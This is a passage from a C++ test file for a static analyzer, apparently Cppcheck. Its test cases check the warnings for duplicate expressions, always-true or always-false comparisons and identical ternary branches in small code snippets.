check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite 